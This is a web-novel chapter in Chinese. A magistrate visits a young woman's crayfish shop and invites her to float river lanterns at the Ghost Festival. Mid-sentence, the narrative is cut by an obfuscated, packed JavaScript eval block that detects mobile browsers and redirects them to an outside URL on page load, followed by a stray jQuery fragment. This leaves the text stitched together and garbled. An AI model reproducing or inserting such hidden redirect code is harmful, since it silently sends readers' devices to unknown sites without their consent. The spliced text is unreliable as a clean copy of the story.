三日后,傍晚。
卖完了小龙虾,乔穗正打扫着,萍丫头家里有事,她一个人收拾着客人们留下的残局,正准备洗了抹布擦灶台,一抬头,发现沈宴之此刻正站在自己的铺子门口。
他手里拿着折扇,没带小厮,也不出声,一个人不知道在那站了多久。
“沈大人?您怎么来了?”
他今天穿了一身月白色的常服,颜色雅致衬得整个人温润俊朗,和昨日处置谢旺财时的冷冽果决判若两人。
他眉眼弯了弯,声音温和的说道:“闲来无事,便过来看看,你开了店,本官还未来得及向你道喜。”
如今二人也算相熟,乔穗租这个铺子,是受了沈宴之的提点,加上之前同意让医官当众验虾,还有昨日处置谢旺财,前前后后的帮她解决了不少麻烦。
何况沈宴之待人温和,乔穗和他相处起来,倒是有了几分寻常朋友般的随意。
“哪里,我租下这个铺子,还是靠了大人的提点,大人要是不嫌弃,便进来坐吧。”
沈宴之走了进来,寻了其中的一个长凳坐下,面前的桌上还放着乔穗没来得及收拾的虾壳。
见他坐下,乔穗连忙洗了抹布,过来收拾桌子上的虾壳。
沈宴之当即抬手去接,说道:“我来吧,你一个人收拾起来也费功夫。”
她拿着抹布的手顿了顿,随后往后缩了一下抹布,笑道:“哪能让大人做这些粗活,这点事我自己来,您坐着就行。”说着就要绕开他收拾桌上的虾壳。
沈宴之却执意伸手将抹布接了过来,然后直接擦上了桌子,动作利落的收拾起来,没有半分嫌弃。
“你我如今也算是相熟,这没外人,不用这般拘着。作为朋友,搭把手再正常不过了,总不能坐在这看你一个人忙。”
此话一出,乔穗先是一愣,随后扬起嘴角,笑了笑,算是认同了他的话。
他既执意如此,她便也不再推辞,既是朋友,帮个忙也是理所应当。
有了沈宴之帮忙,铺子的卫生很快就收拾好了。
乔穗从柜子里拿了个干净的杯子,给他倒了一杯晾好的开水,放到他面前,笑着说:“大人辛苦了,喝口水歇歇,我这没有茶叶,还请大人不要嫌弃。”
沈宴之拿起杯子喝了一口,笑着说道:“我只是帮了一点小忙,铺子刚开起来的那两日,我巡查路过,见你一人忙前忙后的,很是辛苦,如今雇了人,想是轻松些,只是那姑娘今日怎的不在?”
“她家里的祖母染了风寒,无人照顾,便让她早些回去看看。”乔穗坐在他对面,说道:“倒也早习惯一个人忙活了,平日里萍妹妹在这是帮手,不在也能应付。”
“那也别太熬着。”沈宴之颔首,目光扫过铺子里的摆设,货架上的东西摆得整齐,灶台上的厨具擦得锃亮,每一处干净的地方都在透着她的利落,“前日处置了谢旺财,这两日没人再敢来滋事了吧?”
“早没了。”乔穗笑了笑,“他挨了八十板子,躺在家里连床都下不来,旁人心里有数,谁还敢来触这个霉头。倒是村老昨日过来坐了坐,说往后要是有不长眼的,让我直接去寻他,或是去县衙找你。”
“村老倒是明事理。”沈宴之指尖轻轻敲着桌面,然后像是想到了什么,开口问道:“你租铺子时,没和村老提我的名字?”
“你怎么知道?”
“村老去镇上办事,路过县衙和衙役们提了一嘴,说你待人实在,靠自己的诚意租铺面,不肯借我的官威施压。”沈宴之的目光落在她身上,带着几分赞许,“像你这般不趋炎附势的,越发少见了。”
“生意是自己的,若是靠旁人的名头做起来,心里不踏实。”她坐在沈宴之对面,话说得实在,“我租这铺面,是因为位置好,好做生意,村老肯租我,是瞧我规矩实在,我做生意和大人没关系,所以不能借着您的名头,让村老心里不痛快。”
沈宴之闻言,唇角的笑意更浓,点了点头,说道:“你倒是想得明白。”
接着补充道:“你这铺子位置好,来往的人多,生意稳当便是极好的,若是发生什么事,只管去县衙寻我,不必客气,为官者自当为百姓解忧。”
乔穗应着:“那是自然,亏得大人提点,不然我这铺子也开不了这么顺利。当初要不是你说这村口的铺子客流多,我未必能选到这么合适的地方。还有上次验虾的事,也多亏你,要不是你同意让陈医官当众查验,这小龙虾怕是卖不出去,我这铺子自然也开不起来。”
“都是我应该做的。”沈宴之摆摆手,笑着说道:“你凭自己的本事做生意,总不能让人平白搅和了。何况百姓日子过得安稳,才是我这个县令该做的事。”
两人就这么有一搭没一搭地聊着,没有上下级的生分,倒真像是寻常朋友唠家常。
沈宴之像是突然想到了什么,收起折扇,开口道:“对了,再过三日,便是中元节了。”
乔穗脸上的笑容顿了一下,眉眼微垂,没吭声。
她自然知道中元节,原主的记忆里,这是祭祖的日子,爹娘走得早,只剩自己和祖母相依为命,祖母腿脚不好不便出门,往年都是煮两碗素面,坐在屋里吃完了,便算是祈福了。
今年祖母走了,她生了场大病也走了,乔穗借了她的身子,也看到了她的过往,这日子于原主而言,怕是没什么暖意。
见她不语,沈宴之便继续说了下去,语气依旧温和:“城里的中元节,比村里热闹多了。街口会摆集市,卖些花灯、纸扎,还有各式各样的吃食,天黑之后,大家都去护城河边放河灯祈福,河面上亮堂堂的,倒也好看。”
他说着,抬起头目光诚恳的看向乔穗,因知道她的境况,如今的二人也称得上是朋友,他才敢提这些话。
“我想着,你亲人走得早,平日里也没个机会寄份心意。中元节这河灯,最是应景,若你有空,不如同我去城里走走,放盏河灯,也算替家人和自己求个安稳。”
听着这些话,乔穗的心里轻轻动了一下。
她不是这身体的原主,一场意外穿越而来,占了她的身体,靠着她的人情做起了生意,在这陌生的时代站稳了脚跟。
沈宴之口中的爹娘,是原主的亲人,不是她的。
可这些日子以来,她顶着乔穗的身子,吃着这世间的饭,享受着这一点点的安稳,命运早就将她们二人深深地绑在了一起。
原主生前孤苦,怕是从来没去过城里,更没见过放河灯的模样,如今她成了乔穗,就算是替原主告慰她的家人,说他们的女儿现在过得好好的,能自己挣钱,也能守住自己的铺子,不用再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103145|195764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受旁人的冷眼和欺负,往后也会好好的生活下去。
同时也替她自己,在这举目无亲的世界里,求个安稳,求往后的日子能顺顺利利,能一直守着自己的龙虾铺子,过自己想过的日子。
她向来不信神佛,不信祈福这些虚名。
可这一刻,倒觉得放一盏河灯,也没什么不好。
既给了原主一个交代,也给自己这颠沛流离的日子留个念想。
她脸上没有过多的情绪,抬头看向沈宴之,轻轻的点了点头,声音清晰:“也好,那就去看看。”
她应得干脆,倒让沈宴之愣了一下。
“那便说定了。三日后傍晚,我来村口接你,戌时是放河灯最盛的时候,夜里凉,记得添衣。”
乔穗嘴角扬起了一抹浅浅的弧度,应道:“知道了,麻烦你了。”
“不麻烦,顺路罢了。”沈宴之站起身,将折扇揣进袖中,笑着说,“那我便回去了,三日后见。”
“沈大人慢走。”
萍丫头早就回来了,见沈宴之走了,才从门外走了进来。
乔穗见她跑了回来,关切道:“你几时回来的?祖母可好些了?”
萍丫头如实说道:“好些了!祖母惦记着铺里,便让我回来看看。见沈大人在里面,我便没进来。”
随后笑嘻嘻的凑到乔穗身边,挽着她的胳膊,眼睛亮晶晶的,带着点兴奋说道:“穗姐,沈大人邀你去城里放河灯呀!城里的中元节肯定可热闹了,我长这么大,还从来没去过呢!
乔穗抬手揉了揉她的头,失笑:“瞧你这点出息,带你去便是,正好帮你祖母祈福。”
“太好了!”萍丫头蹦跶了一下,随即又凑到乔穗耳边,小声嘀咕,“穗姐,我觉得沈大人对你,好像不一般呢。”
乔穗挑眉:“怎么不一般了?”
“你想啊。”萍丫头掰着手指头数到,“前日谢旺财来闹事,他第一时间就过来撑腰,二话不说就治了谢旺财的罪。”
“今日又特意穿了常服,没带小厮,过来看你。”
“现在还邀你去城里放河灯,还特意叮嘱你夜里凉记得添衣,这哪里是对寻常百姓的关心啊!”
萍丫头跟着乔穗久了,心思也细,平日里见沈宴之对旁人都是客客气气的,唯有对乔穗,是不一样的。
乔穗听着,只是淡淡笑了笑,没往心里去,“不过是相熟罢了,沈大人是个好官,体恤百姓也是应当的。”
她的心里现在根本没有什么儿女情长,只想着三日后中元节的河灯,想着替原主也替自己,好好的放一盏。
于她而言,最重要的,从来都是守着自己的小龙虾铺子,再过好自己的日子,至于其他的,一概没心思顾及。
可萍丫头却不这么想,她抿着嘴在一旁暗暗琢磨,沈大人这般,分明是对穗姐有意思。
穗姐性子硬,人又好,配沈大人这样的温润县令,倒也正好。
她心里还偷偷盼着三日后的中元节,不光是想去城里看看热闹,更想看看沈大人和穗姐一起放河灯的模样。
乔穗没察觉萍丫头的小心思,只是拿起锁头,准备锁铺子回家。
晚风吹过,树上的叶子沙沙作响,她抬头看了看天边的晚霞,心里想着,三日后的河灯,该是亮堂堂的吧。